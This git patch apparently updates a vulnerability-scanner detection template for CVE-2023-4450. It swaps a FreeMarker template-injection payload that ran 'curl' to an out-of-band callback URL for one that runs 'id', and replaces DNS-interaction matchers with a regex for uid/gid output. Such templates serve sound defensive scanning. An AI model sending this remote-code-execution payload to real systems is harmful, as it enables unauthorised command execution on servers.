From 903e3a6dd9d17f6e1b632e3760eb212ec7820257 Mon Sep 17 00:00:00 2001 From: Dhiyaneshwaran Date: Mon, 15 Jul 2024 12:14:26 +0530 Subject: [PATCH] minor update --- http/cves/2023/CVE-2023-4450.yaml | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/http/cves/2023/CVE-2023-4450.yaml b/http/cves/2023/CVE-2023-4450.yaml index 9b0602f648..273bb151a1 100644 --- a/http/cves/2023/CVE-2023-4450.yaml +++ b/http/cves/2023/CVE-2023-4450.yaml @@ -38,20 +38,20 @@ http: body: | { - "sql": "select 'result:<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ex(\"curl {{interactsh-url}}\")}'" + "sql": "select 'result:<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ex(\"id\")}'" } matchers-condition: and matchers: - - type: word - part: interactsh_protocol - words: - - "dns" + - type: regex + part: body + regex: + - "uid=([0-9(a-z)]+) gid=([0-9(a-z)]+) groups=([0-9(a-z)]+)" - type: word - part: header + part: content_type words: - - "ListManagerWeb" + - "application/json" - type: status status: